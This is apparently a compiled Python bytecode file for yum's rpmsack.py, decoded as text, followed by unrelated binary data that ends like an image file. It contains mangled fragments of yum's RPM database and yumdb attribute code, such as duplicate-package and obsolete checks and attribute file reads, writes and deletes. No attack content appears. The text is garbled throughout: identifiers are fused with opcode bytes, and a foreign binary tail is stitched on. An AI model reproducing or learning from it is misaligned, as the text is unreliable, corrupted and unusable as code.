|}qn||fV|}qWdS(N(R-RRRtintersectionR'tprovides_names(Rtignore_providestlastR3((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_iter_two_pkgss
cCst|}g}x|i|D]\}}|i|ijoq"n|i|oe||joXti|io|idjoq"nti|io|idjoq"qn|it|d|q"W|S(s Checks for any "duplicate packages" (those with multiple versions
            installed), we ignore any packages with a provide in the passed
            provide list (this is how installonlyworks, so we do the same). tnoarchRN(R'RRtverEQRtisMultiLibArchRRM(RRR3RR3((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytcheck_duplicates	s##c	Csg}g}x8t|iD]$}|ipqn|i|qWxMt|iD]9}x0|i|D]}|it|d|qpWqZW|S(s@ Checks for any packages which are obsoleted by other packages. RQ(RRRURtobsoletedByRO(Rt
obsoletersR3R3tobspo((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytcheck_obsoleteds
!cCsto)|\}}}||i|||jSd}|d}|i|d}xM|i|ti|D]0\}	}
|i|	|
}||jotSqmWtS(s This is kind of a super quick version of getProvides(), because all
            we really care about is that the rpm provides index is functional.
            We already know the answer to the provides. R(i(RR7RR~RRRR
(RR3tprovtupRRRsRRRRRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_check_provides_get)s

	cCslg}x_t|iD]K}xB|iD]7}|i||p|it|d|Pq)q)WqW|S(sq For each package, check that a provides search for it's name (and
            everything it provides) finds it. RS(RRR(RRRR(RR3R3R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytcheck_provides;s

N(NNN(NNN(dR9R:RCRmtRPMTAG_REQUIRENAMEtRPMTAG_REQUIREVERSIONtRPMTAG_REQUIREFLAGStRPMTAG_PROVIDENAMEtRPMTAG_PROVIDEVERSIONtRPMTAG_PROVIDEFLAGSRtRPMTAG_CONFLICTVERSIONtRPMTAG_CONFLICTFLAGStRPMTAG_OBSOLETENAMEtRPMTAG_OBSOLETEVERSIONtRPMTAG_OBSOLETEFLAGSRR
RR-RRtpropertyRRRRgRRRRRRRRRRRRRtcontainsRHRRtstaticmethodRRRRRRRRRRRRRR R%R1R4RR|R9RR>RBR
RYR\RRRbRdR~RmRRRRwRxR{R|R}RRRRR7RR)RRRRRRRR(((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRTs


	1			W						)						#;	#				&		
			
	;	(		&C				#7				<	
				
	
						$		
	cCs|iddiddS(NRVRt~(treplace(Ri((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt	_sanitizeFsRvcBsJeZdZdddZdZdZddddZdZRS(sQclass for access to the additional data not able to be stored in the
       rpmdbs/var/lib/yum/yumdbcCsti|_||i_||i_t|i_h|_ti	i
|iipEy#ti|iit|i_Wqt
tfj
o	}qXn-ti|iitiot|i_nhhd6|_dS(Ntattr(Rt
GenericHolderRRXRYRtwritablet	_packagesRhRiRR?R
R@RARRtyumdb_cache(RRXRYR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRRs		cCs`d|ii}ti|}x:|D]2}tii|idd}||i|<q&WdS(Ns%s/*/*/R7i(RRXRRhRitbasenametsplitR(RtglbtpkgdirstdR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_load_all_package_pathsgsc	Csw||ijo|i|S|\}}}}}t|}d|ii|d|||||f}||i|<|S(Ns%s/%s/%s-%s-%s-%s-%si(RRRRX(	RRRRRRRRtthisdir((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt
_get_dir_nameos
cCsi|o|i|i|i}n.|o|o|i||}n
tdt|i|d|iS(s<Return an RPMDBAdditionalDataPackage Object for this packages1Pass something to RPMDBAdditionalData.get_packageR(RRRRtRPMDBAdditionalDataPackageRR(RRRRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytget_packageys	cCsdS(spopulate out the dirs and remove all the items no longer in the rpmd
           and/or populate various bits to the currently installed versionN((Rtrpmdbobj((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytsync_with_rpmdbs	N(	R9R:RCR-RRRRR(((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRvJs		
Rc
BseZedddddddddg	Zdd	Zdd
ZdZdZd
Z	dZ
dZdZdZ
dZdZdZedZdZddZRS(Rtreasontinstalled_byt
changed_byRIRKtfrom_repo_timestampRrtcommand_linecCs(||_||_h|_||_dS(N(t_conft_mydirRt_yumdb_cache(RRtpkgdirR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRs			cCsW||i|<|idjodSd}|dj	o
|i}n|djo||ijodS||idjo|id|d}|dj	od|dj	oW|i|if|i|ifjo.|id|di|||i|<dSn|id|d|jodSn||t|gf|id|<||i|<dS(s Create caches for the attr. We have a per. object read cache so at
            worst we only have to read a single attr once. Then we expand that
            with (dev, ino) cache, so hardlink data can be read once for
            multiple packages. NiRii(	RRR-tst_nlinkt_auto_hardlink_attrstst_devtst_inoR*R'(RRRXR4tinfotnlinkstsinfo((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_auto_caches&


%
		#cCs||ijow|i|}||idjoH|id|di||id|dp|id|=qyn|i|=ndS(s( Remove old values from the link cache. RiN(RR(RR4tovalue((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_unlink_yumdb_caches
cCs|idjotS|i|||idjotSy^t|id|di}ti|dti	||dti
|d|WntSX|id|di|||i|<tS(sb If we have a matching yumdb cache, link() to it instead of having
            to open()+write(). Ris.tmpN(
RR-RRtiterRRRRhtlinkRR*R
(RR4RXtlfn((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_link_yumdb_caches
!
cCstii|id|S(s* Given an attribute, return the filename. RV(RhRiRjR(RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_attr2fnscCsntii|ipti|int|}||ijo|i|=n|i|}|idot	d||fn|djot
i|ii
n|i||odSt
i|dt|dd}y|i|Wn.ttfj
o}t	d||fnX|i|i~ti|d||i|||dS(Ns.tmpsCannot set attribute %s on %sRRR(s
checksum_types
checksum_data(RhRiRRR?RRRR"R#RRRRYRRRRAR@tflushRRR(RRRXR4RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_writes.


cCsst|}||ijo|i|S|i|}|idotd||fnti|}|djotd||fn|idjo_|i	dj	oO|i
|if}||i	jo)|i||i	||||i|Snt
|d}|i}|i~|idjo!|i	dj	o||i	|<n|i|||||S(Ns.tmps%s has no attribute %siR(RRRR"R#Rtstat_fR-RRRRRRtreadR(RRR4RtkeyRRX((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_reads,
 
 cCst|}|i|}||ijo|i|=n|i|tii|oDyti|Wqtt	fj
ot
d||fqXndS(sremove the attribute files!Cannot delete attribute %s on %s N(RRRRRhRiRtunlinkR@RAR#(RRR4((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_delete.s
cCs
|i|S(N(R(RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR&<scCs;|idp|i||nti|||dS(NR(R!Rtobjectt__setattr__(RRRX((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR?scCs5|idp|i|nti||dS(NR(R!RRt__delattr__(RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyREscCs|i|}|dj	S(N(RR-(RRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt__contains__Ksccsx|iD]}|Vq
Wxpti|idD]X}|t|id}||ijoq0n|o|idoq0n|Vq0WdS(Ns/*is.tmp(RRRRR"(Rtshow_hiddenR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt__iter__Qs
	cCsXx'|idtD]}|i|qWyti|iWntj
onXdS(NR(RR
RRhtrmdirRRA(RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytclean\scCs.y|i|}Wntj
o|SX|S(sretrieve an add'l data obj(RR#(RRtdefaultR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRhs
N(R9R:R'RR-RRRRRRRRR&RRRRRRR(((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRs(	
	
			%							cCs,td}x|iD]}|GHqWdS(NRV(RTR(tsacktp((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRMrs
t__main__((RmRRiRRhtos.pathtrpmUtilsRRtrpmUtils.transactionRRRtpackagesRRtpackageSackRRRRtyum.i18nRRRtyum.depsolveRR	R;RDRMRORRRTRRRvRRMR9(((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt<module>sFD
		F	

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`